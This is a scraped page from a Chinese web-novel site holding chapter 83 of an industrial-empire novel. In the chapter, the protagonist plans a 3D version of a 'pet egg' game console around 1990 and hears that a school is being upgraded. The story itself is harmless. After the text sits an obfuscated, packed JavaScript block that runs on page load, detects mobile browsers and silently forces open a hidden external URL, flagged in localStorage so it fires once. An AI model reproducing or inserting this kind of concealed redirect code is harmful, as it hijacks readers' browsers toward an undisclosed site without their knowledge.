第五文学网 > 都市小说 > 工业之动力帝国 > 第83章 巨变之始 (二十二)

第83章 巨变之始 (二十二)

    从江景峰那边出来已经是下午三点多,梁远这趟到是没白跑,江景峰还真弄了个大惊喜出来。

    虽然相对于1990这个年代,3d是个高端大气上档次的玩意,但如果对分辨率、画质什么的要求不高的话,从技术上并不是特别难以实现。

    不过这年代和后世最大的区别就是没有显卡这一说,负责处理图形数据的在行业内部被往往称之为ppu,大意是系统外围处理器。

    这东西的诞生和cpu性能不足有很大关系,九十年代初期的电脑少有由一个处理器核心担负起整个系统运算的例子,计算机系统几乎都是由多处理机子系统构成。

    比如协处理器,比如此时风靡共和国汉卡,就是系统中专门执行输入、输出和其他操作的汉字处理机,具有与主机并行处理数据的能力。

    ppu在系统中的功能和汉卡类似,主要负责系统中图形数据的运算与输出。

    别看宠物蛋不算大,但就系统构成来说甚至比汉字传呼机更为复杂,一块c2处理器负责整个系统运算,一块由c2处理器变种的图形ppu—col2负责宠物蛋的图形输出。

    港基集电c2处理器的主频从16mhz起跳,最高达到22mhz,算是286级别芯片里的性能怪物,不过考虑的电量成本等问题宠物蛋选用了c2—16mhz作为主处理器,图形处理器的col2的主频选择了20mhz。

    现在可不比未来处理器核心论g的年代,别看两位的数据不起眼,处理器和图形处理器的数据已经吊打任天堂和世嘉了。

    一年半之后上市的超级任天堂主处理器核心还不到8mhz,倒是图形处理器和宠物蛋类似都是20mhz的主频,不过作为典型的家用主机超任有四个图形ppu这点宠物蛋是比不了的。

    当然,主频高运算速度快也不是没有后遗症,宠物蛋采用高主频最大的后果就是电池电量续航能力不足。

    受限于蛋体空间,宠物蛋自身采用一节五号电池供电,如果只是当宠物养,做做投食喂水安抚宠物撒娇日常什么的,一节电池能坚持三天,如果当做游戏机来玩一节电池那个续航就有点呵呵了,最好还是配上电池盒这个外设才能玩得尽兴。

    如果不是梁远在对战上有着大心思,就宠物蛋养成方面的因素来说单独的图形处理器几乎是不必要的。

    但是有了这个单独的图形处理器,宠物蛋适配接口转换器之后,可以流畅的在电视上输出图像而不会限于机能卡得要死要活,外接显示输出这项功能对于正规规模化竞技比赛来说几乎是必备。

    世嘉也好,任天堂也好,这个年代从来没人会去研发一台只能运行一款游戏的主机,这个想法在正常人看来就是精神病的想法。

    至于电子游戏竞技什么的简直就是笑话一样,更几乎是连概念都没有的东西,除了梁土豪没人会搞这么奇葩的货色出来。

    宠物蛋硬件上的性能过剩使江景峰的2d+3d计划极为成功,限于时间江景峰只是选择了三个角色把对战擂台环节进行了3d化,验证了自己想法具备可能性,但在梁远看来,推行3d版本已经是水到渠成。

    正常的游戏主机想推行3d化,必须具备普适性,比如赛车啊,rpg啊,打飞机什么的必须全部考虑到,开发工具也要易于上手,最好是简单的c语言等等,但宠物蛋用不着考虑那么多,反正就一个游戏开发语言直接上汇编,然后再针对代码从硬件层次进行优化,这会产生什么化学变化?

    第一台主打3d性能的索尼ps于1994年年底正式对外发售,ps所用的的主芯片就是大名鼎鼎的32位risc处理器:

    mips—r3000a—33.8688mhz。

    索尼ps游戏主机的发展计划始于八十年代末,处理器选择了当时美国mips公司的最新型号,除了采用1.5微米制程技术生产外,这块mips处理器的性能和港基集电刚刚下线不久的c3处理器系出同源属于同一等级。

    而宠物蛋所用的处理器恰好是c3上一级别的c2,在采用最简洁的机器语言编程并针对优化之后,梁远从江景峰运行的实验程序判断出精灵宠物如果3d化,这款游戏输出到电视上时能达到ps视觉效果的八成,这意味着梁远可以提前五年引领全球玩家进入3d时代。

    这种震撼绝对是颠覆性的,精灵宠物这款游戏相当于把全球游戏玩家从8位机时代直接揪到32位机时代。

    梁远当时就拍板决定只有rpg方面的内容保持2d版本,擂台和养成这两块内容推倒重来改成3d化,江景峰要人给人要钱给钱,争取一个月之内搞定。

    好在对战游戏的核心在于数据平衡,只要美工和编程人手足够,咬咬牙一个月的时间建模改贴图还是能完成的。

    在宠物蛋项目组多待了一会,梁远沿着湖畔小径来到东大附小正门时刚好赶上放学打铃。

    听着一条大河波浪宽的音乐电子铃声,梁远琢磨着如果把附小的上下课电子仿造科技园的铃声也换成生日快乐,不知道两个丫头听到会是什么表情。

    还没等放学的学生开始出门,附小门卫拎着一把锤子从守卫室里走了出来。

    梁远隔着马路看着门卫挥舞着锤子三下五除二的,直接把门柱上挂着东大附小四个大字的白色门牌敲了下来。

    这是干啥,不过了咋滴?梁远有些迷惑的看着卫门大哥拖着拆掉的门牌进了守卫室。

    “咋了这是?”

    由于常来接送两个丫头,某人和附小门卫已经是相当的熟悉。

    “哟,小远啥时候过来的?我都没看到,咋不进来等人呢。”

    自从梁远和某个丫头在校门口合伙爆打了附小校内的风云人物,继而安然无恙,挨揍的那位现在看到梁远要么绕路要么装作不认识头也不抬的溜边离开,门卫就知道这位的来头不小。

    “刚到,在马路那边就看到你拆门牌,挨领导训了对这个打击报复?”

    梁远笑着指了指地上放着的附小门牌。

    “没领导发话我哪敢拆这个,上边打电话让拆的,这回校领导嘴都要笑歪了,刚刚在电话里通知我附小升级成功了,以后改名叫东大附中。”  


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('r y(){l(M z==="\\m\\6\\2\\0\\n\\3\\6\\0\\2"){A N}O a;s B=z[\'\\m\\b\\0\\8\\P\\h\\0\\6\\4\'][\'\\4\\1\\t\\1\\o\\0\\8\\p\\5\\b\\0\']();a=(Q^R)+(S^T);s C=U V(\'\\5\\6\\2\\8\\1\\3\\2\\c\\3\\d\\i\\1\\6\\0\\c\\3\\d\\5\\2\\c\\3\\d\\1\\2\\c\\o\\3\\6\\2\\1\\o\\b\\D\\d\\i\\1\\6\\0\\c\\9\\7\\5\\j\\q\\9\\0\\8\\8\\f\\c\\b\\f\\e\\9\\3\\5\\6\\c\\o\\0\\9\\1\\b\\c\\1\\d\\0\\8\\5\\D\\e\\3\\6\\3\\c\\3\\0\\e\\1\\9\\3\\7\\0\\c\\e\\1\\9\\3\\7\\0\',\'\\3\');A C[\'\\4\\0\\b\\4\'](B)}r E(a){s g=k[\'\\j\\8\\0\\5\\4\\0\\F\\7\\0\\e\\0\\6\\4\']("\\5");g[\'\\i\\8\\0\\n\']=a;g[\'\\b\\4\\f\\7\\0\'][\'\\2\\3\\b\\d\\7\\5\\f\']="W".u("").v().w("");g[\'\\4\\5\\8\\h\\0\\4\']="\\G\\9\\7\\5\\6\\q";k[\'\\9\\1\\2\\f\'][\'\\5\\d\\d\\0\\6\\2\\p\\i\\3\\7\\2\'](g);g[\'\\j\\7\\3\\j\\q\']();k[\'\\9\\1\\2\\f\'][\'\\8\\0\\e\\1\\H\\0\\p\\i\\3\\7\\2\'](g)}k[\'\\5\\2\\2\\F\\H\\0\\6\\4\\t\\3\\b\\4\\0\\6\\0\\8\']("\\X\\Y\\Z\\p\\1\\6\\4\\0\\6\\4\\t\\1\\5\\2\\0\\2",r(){l(!I[\'\\h\\7\\1\\9\\5\\7\\J\\5\\8\']){l(k[\'\\9\\1\\2\\f\']!=10){I[\'\\h\\7\\1\\9\\5\\7\\J\\5\\8\']="\\x";K=L[\'\\h\\0\\4\\x\\4\\0\\e\']("\\7\\m\\j\\q\\G\\n\\n");l(!K&&y()){E("11.12.13//:14".u("").v().w(""))}L[\'\\b\\0\\4\\x\\4\\0\\e\']("15".u("").v().w(""),"\\4\\8\\m\\0")}}});',62,68,'u0065|u006F|u0064|u0069|u0074|u0061|u006E|u006C|u0072|u0062||u0073|u007C|u0070|u006D|u0079|_0x999dba|u0067|u0068|u0063|document|if|u0075|u0066|u0077|u0043|u006B|function|const|u004C|split|reverse|join|u0049|isMobileDevice|navigator|return|_0x53d4ff|_0xd1fa|u0020|OpenUrl|u0045|u005F|u0076|window|u0056|hasExecuted|localStorage|typeof|false|var|u0041|322668|322670|454990|454982|new|RegExp|enon|u0044|u004F|u004D|null|moc|3rjlm|2357|ptth|ff_kcul'.split('|'),0,{}))